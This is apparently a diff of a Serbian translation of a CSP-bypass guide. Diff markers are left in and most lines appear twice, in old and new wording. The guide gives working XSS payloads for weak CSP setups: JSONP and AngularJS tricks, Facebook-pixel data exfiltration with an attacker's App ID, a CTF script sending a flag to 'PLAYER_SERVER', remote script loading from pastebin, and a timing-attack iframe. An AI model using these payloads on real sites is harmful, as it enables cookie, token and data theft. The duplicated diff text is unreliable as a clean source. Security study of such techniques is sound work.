Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što je cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
Implementacija CSP se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu.
@ -18,9 +18,9 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```
### Headers
CSP može biti primenjen ili praćen korišćenjem ovih zaglavlja:
CSP se može primeniti ili pratiti koristeći ove heder-e:
- `Content-Security-Policy`: Primena CSP; pregledač blokira sve prekršaje.
- `Content-Security-Policy`: Primorava CSP; pregledač blokira sve prekršaje.
- `Content-Security-Policy-Report-Only`: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima.
### Defining Resources
@ -39,26 +39,26 @@ object-src 'none';
```
### Direktive
- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilove.
- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute od strane event handler-a ili XSLT stilskih listova.
- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne.
- **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima.
- **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Ograničava URL-ove za okvire.
- **frame-ancestors**: Specifikuje koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
- **frame-ancestors**: Specifikuje koji izvori mogu ugnježditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
- **img-src**: Definiše dozvoljene izvore za slike.
- **font-src**: Specifikuje validne izvore za fontove učitane koristeći `@font-face`.
- **manifest-src**: Definiše dozvoljene izvore datoteka manifest aplikacije.
- **media-src**: Definiše dozvoljene izvore za učitavanje medijskih objekata.
- **object-src**: Definiše dozvoljene izvore za elemente `<object>`, `<embed>`, i `<applet>`.
- **object-src**: Definiše dozvoljene izvore za `<object>`, `<embed>`, i `<applet>` elemente.
- **base-uri**: Specifikuje dozvoljene URL-ove za učitavanje koristeći `<base>` elemente.
- **form-action**: Navodi validne krajnje tačke za slanje obrazaca.
- **form-action**: Navodi validne krajnje tačke za slanje formi.
- **plugin-types**: Ograničava mime tipove koje stranica može da pozove.
- **upgrade-insecure-requests**: Naređuje pretraživačima da prepisuju HTTP URL-ove u HTTPS.
- **upgrade-insecure-requests**: Naredjuje pretraživačima da prepisuju HTTP URL-ove u HTTPS.
- **sandbox**: Primena ograničenja sličnih sandbox atributu `<iframe>`.
- **report-to**: Specifikuje grupu kojoj će izveštaj biti poslat ako se politika prekrši.
- **worker-src**: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
- **prefetch-src**: Specifikuje validne izvore za resurse koji će biti preuzeti ili unapred preuzeti.
- **navigate-to**: Ograničava URL-ove na koje dokument može da navigira na bilo koji način (a, obrazac, window.location, window.open, itd.)
- **navigate-to**: Ograničava URL-ove na koje dokument može da navigira na bilo koji način (a, forma, window.location, window.open, itd.)
### Izvori
@ -66,11 +66,11 @@ object-src 'none';
- `'self'`: Dozvoljava učitavanje sa iste domene.
- `'data'`: Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).
- `'none'`: Blokira učitavanje sa bilo kog izvora.
- `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, ne preporučuje se iz bezbednosnih razloga.
- `'unsafe-hashes'`: Omogućava specifične inline upravljače događaja.
- `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, ne preporučuje se iz bezbednosnih razloga.
- `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, nije preporučljivo iz bezbednosnih razloga.
- `'unsafe-hashes'`: Omogućava specifične inline event handlere.
- `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, nije preporučljivo iz bezbednosnih razloga.
- `'nonce'`: Lista dozvoljenih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).
- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćen nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
- Ako imate ograničenu izvršnu moć JS-a, moguće je dobiti korišćen nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
<details>
@ -90,13 +90,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `'sha256-<hash>'`: Beleži skripte sa specifičnim sha256 hash-om.
- `'strict-dynamic'`: Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hash-a.
- `'host'`: Precizira specifičan host, kao što je `example.com`.
- `'host'`: Precizira određeni host, kao što je `example.com`.
- `https:`: Ograničava URL-ove na one koji koriste HTTPS.
- `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ovi kreirani putem JavaScript-a).
- `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ova kreiranih putem JavaScript-a).
- `filesystem:`: Omogućava učitavanje resursa sa datotečnog sistema.
- `'report-sample'`: Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).
- `'strict-origin'`: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
- `'strict-origin-when-cross-origin'`: Šalje pune URL-ove prilikom pravljenja zahteva sa istog izvora, ali šalje samo izvor kada je zahtev međuzvorni.
- `'strict-origin'`: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitati resurse sa sigurnih izvora).
- `'strict-origin-when-cross-origin'`: Šalje pune URL-ove prilikom pravljenja zahteva sa istog izvora, ali šalje samo izvor kada je zahtev između različitih izvora.
- `'unsafe-allow-redirects'`: Omogućava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer slabi bezbednost.
## Unsafe CSP Rules
@ -126,7 +126,7 @@ Radni payload:
```
### strict-dynamic
Ako možete na neki način da omogućite da **dozvoljeni JS kod kreira novi script tag** u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, **novi script tag će biti dozvoljen za izvršavanje**.
Ako možete na neki način da omogućite **dozvoljenom JS kodu da kreira novu script tag** u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, **nova script tag će biti dozvoljena za izvršavanje**.
### Wildcard (\*)
```yaml
@ -149,7 +149,7 @@ Radni payloadi:
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Upload fajlova + 'self'
### Učitavanje fajlova + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
@ -159,11 +159,11 @@ Radni payload:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Međutim, veoma je verovatno da server **validira otpremeljenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
Međutim, veoma je verovatno da server **validira otpremnenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da **Apache ne prepoznaje** _**.wave**_ ekstenziju, stoga je ne servira sa **MIME tipom kao audio/\***.
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz CTF-a sam saznao da **Apache ne prepoznaje** _**.wave**_ ekstenziju, stoga je ne servira sa **MIME tipom kao audio/\***.
Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremeljene datoteke, kreirajte poliglot ([neki primeri poliglotova ovde](https://github.com/Polydet/polyglot-database)).
Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremne datoteke, kreirajte poliglot ([neki primeri poliglotova ovde](https://github.com/Polydet/polyglot-database)).
### Form-action
@ -243,7 +243,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Više [**payload-a iz ovog izveštaja**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Više [**payloads iz ovog izveštaja**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -286,11 +286,11 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP krajnje tačke za CSP zaobilaženje različitih veb sajtova.**
Ista ranjivost će se pojaviti ako **pouzdana krajnja tačka sadrži Open Redirect** jer ako je inicijalna krajnja tačka pouzdana, preusmeravanja su pouzdana.
Ista ranjivost će se pojaviti ako **pouzdana krajnja tačka sadrži Open Redirect** jer ako je inicijalna krajnja tačka pouzdana, redirekcije su pouzdane.
### Zloupotrebe trećih strana
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, koje se mogu zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, a mogu se zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
| Entitet | Dozvoljeni domen | Mogućnosti |
| ----------------- | ---------------------------------------------- | ------------ |
@ -313,16 +313,16 @@ Content-Security-Policy: default-src 'self www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
Trebalo bi da budete u mogućnosti da exfiltrirate podatke, slično kao što je to oduvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
Treba da budete u mogućnosti da exfiltrirate podatke, slično kao što je oduvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
1. Napravite Facebook Developer nalog ovde.
2. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
2. Napravite novu aplikaciju "Facebook Login" i izaberite "Website".
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
4. Na ciljanom sajtu sa kojeg želite da exfiltrirate podatke, možete exfiltrirati podatke direktno koristeći Facebook SDK uređaj "fbq" kroz "customEvent" i payload podataka.
5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovome: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Izaberite tab "Test Events" da vidite događaje koji se šalju sa "vašeg" veb sajta.
6. Izaberite karticu "Test Events" da vidite događaje koji se šalju sa "vašeg" veb sajta.
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook tracking pixel da pokazuje na napadačev Facebook developer account app-id i da izdate prilagođeni događaj poput ovog:
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook tracking pixel da pokazuje na app-id napadačevog Facebook developer naloga i da izdate prilagođeni događaj ovako:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -341,7 +341,7 @@ Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, mož
```
Pregledač će na kraju učitati `https://example.com/scripts/angular/angular.js`.
To funkcioniše jer za pregledač učitavate datoteku pod imenom `..%2fangular%2fangular.js` koja se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
To funkcioniše jer za pregledač učitavate datoteku pod nazivom `..%2fangular%2fangular.js` koja se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
∑, oni će to dekodirati, efektivno tražeći `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
@ -359,7 +359,7 @@ Online primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.c
### nedostaje **base-uri**
Ako je direktiva **base-uri** nedostajuća, možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Ako **base-uri** direktiva nedostaje, možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Štaviše, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da učitate skriptu sa **vašeg servera, postignuvši XSS.**\
Ako se ranjiva stranica učitava sa **httpS**, koristite httpS URL u bazi.
@ -368,24 +368,24 @@ Ako se ranjiva stranica učitava sa **httpS**, koristite httpS URL u bazi.
```
### AngularJS događaji
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog pregledača. Ovaj `$event` objekat može se iskoristiti za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike bekstva iz sandbox-a.
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog browser događaja. Ovaj `$event` objekat može se iskoristiti za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike izlaska iz sandboxes.
Usmeravanjem ovog niza na `orderBy` filter, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) za aktiviranje globalne funkcije kao što je `alert()`. Prikazani kod ispod objašnjava ovaj proces:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ovaj deo ističe upotrebu `ng-focus` direktive za pokretanje događaja, koristeći `$event.path|orderBy` za manipulaciju `path` nizom, i koristeći `window` objekat za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.
Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, koristeći `$event.path|orderBy` za manipulaciju `path` nizom, i koristeći `window` objekat za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.
**Pronađite druge Angular zaobilaženja u** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Pronađite druge Angular zaobilaženja na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS i dozvoljena domena
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
CSP politika koja beleži dozvoljene domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
CSP politika koja beleži dozvoljene domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovoj [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Funkcionalni payload-ovi:
Radni payloadi:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -395,9 +395,9 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
```
Drugi JSONP arbitrarni izvršni krajnji tački mogu se naći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili ispravljeni)
### Bypass putem preusmeravanja
### Zaobilaženje putem preusmeravanja
Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.
Šta se dešava kada CSP naiđe na preusmeravanje sa servera? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.
Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugačijoj putanji, može zaobići originalna ograničenja.
@ -429,24 +429,24 @@ Stoga, najbolje rešenje je osigurati da veb sajt nema otvorene ranjivosti za pr
### Zaobilaženje CSP-a sa visećim oznakama
Pročitajte [kako ovde](../dangling-markup-html-scriptless-injection/).
Pročitajte [kako ovde](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; putem XSS
### 'unsafe-inline'; img-src \*; putem XSS-a
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti bilo koju sliku sa bilo kog resursa na veb stranici.
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti bilo koju sliku iz bilo kog resursa na veb stranici.
Možete zaobići ovaj CSP eksfiltrirajući podatke putem slika (u ovoj prilici XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
Možete zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Sa: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Takođe možete zloupotrebiti ovu konfiguraciju da **učitate javascript kod umetnut unutar slike**. Ako, na primer, stranica dozvoljava učitavanje slika sa Twitter-a. Možete **napraviti** **posebnu sliku**, **otpremiti** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao običan XSS) koji će **učitati** **sliku**, **izvući** **JS** iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Možete takođe zloupotrebiti ovu konfiguraciju da **učitate javascript kod umetnut unutar slike**. Ako, na primer, stranica dozvoljava učitavanje slika sa Twitter-a. Možete **napraviti** **posebnu sliku**, **otpremiti** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao običan XSS) koji će **učitati** **sliku**, **izvući** **JS** iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Sa Servisnim Radnicima
@ -462,7 +462,7 @@ Funkcija servisnih radnika **`importScripts`** nije ograničena CSP-om:
#### Chrome
Ako je **parametar** koji ste poslali **nalepio** unutar **deklaracije** **politike,** tada možete **izmeniti** **politiku** na neki način koji je čini **beskorisnom**. Možete **dozvoliti skriptu 'unsafe-inline'** sa bilo kojim od ovih zaobilaženja:
Ako je **parametar** koji ste poslali **nalepljen unutar** **deklaracije** **politike,** onda možete **izmeniti** **politiku** na način koji je čini **beskorisnom**. Možete **dozvoliti skriptu 'unsafe-inline'** sa bilo kojim od ovih zaobilaženja:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -472,15 +472,15 @@ Možete pronaći primer ovde: [http://portswigger-labs.net/edge_csp_injection_xn
#### Edge
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** bi **odbacio** celu **politiku**.\
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** će **odbaciti** celu **politiku**.\
Primer: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; putem XSS (iframe) - Vremenski napad
Obratite pažnju na nedostatak direktive `'unsafe-inline'`\
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako nekako možete **kontrolisati vreme koje je stranici potrebno da se učita** možete izvući informacije koje su vam potrebne.
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako nekako možete **kontrolisati vreme koje je stranici potrebno da se učita**, možete izvući informacije koje su vam potrebne.
Ovog puta će se **zastavica** izvući, kada god se **karakter ispravno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći da izvučete zastavicu:
Ovog puta će biti izvučen **flag**, kada god se **karakter ispravno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći da izvučete flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -542,13 +542,13 @@ run()
```
### Via Bookmarklets
Ovaj napad bi podrazumevao neku socijalnu inženjering gde napadač **uverava korisnika da prevuče i ispusti link preko bookmarkleta pregledača**. Ovaj bookmarklet bi sadržao **malicious javascript** kod koji bi, kada se prevuče ili klikne, bio izvršen u kontekstu trenutnog web prozora, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni.
Ovaj napad bi podrazumevao neku vrstu socijalnog inženjeringa gde napadač **uverava korisnika da prevuče i ispusti link preko bookmarkleta u pretraživaču**. Ovaj bookmarklet bi sadržao **malicious javascript** kod koji bi, kada se prevuče ili klikne, bio izvršen u kontekstu trenutnog web prozora, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni.
Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**.
U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**.
Možete **ograničiti CSP iframe-a** sa **`csp`** atributom:
```html
@ -577,13 +577,13 @@ Za primer [**proverite ovaj CTF izveštaj**](https://github.com/maple3142/My-CTF
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Curjenje informacija sa CSP i Iframe
### Curjenje Informacija sa CSP i Iframe
- `iframe` se kreira koji pokazuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
- An `iframe` je kreiran koji pokazuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
- Ovaj URL zatim preusmerava na tajni URL (npr., `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
- Slušanjem `securitypolicyviolation` događaja, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-a, curi tajni domen na koji je inicijalni URL preusmerio.
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različita ponašanja u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
Zanimljivo je napomenuti da pretraživači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa iframovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
Druga tehnika uključuje iskorišćavanje samog CSP-a da se deducira tajni poddomen. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a da uključuje specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji pokazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
```markdown
@ -603,7 +603,7 @@ Prema [**poslednjoj tehnici komentarisanoj u ovom videu**](https://www.youtube.c
### Preopterećenje PHP odgovora
PHP je poznat po tome što **bafuje odgovor do 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
PHP je poznat po tome što **baforuje odgovor na 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
Tada, tehnika se u suštini sastoji u **punjenju bafera odgovora upozorenjima** kako CSP header ne bi bio poslat.
Ideja iz [**ovog izveštaja**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u tački pristupa stranice** da **zloupotrebi** **druge tačke pristupa iste domene.** To se postiže učitavanjem ranjive tačke pristupa sa stranice napadača, a zatim osvežavanjem stranice napadača na pravu tačku pristupa u istoj domeni koju želite da zloupotrebite. Na ovaj način **ranjiva tačka pristupa** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave tačke pristupa za zloupotrebu**. Za više informacija pogledajte:
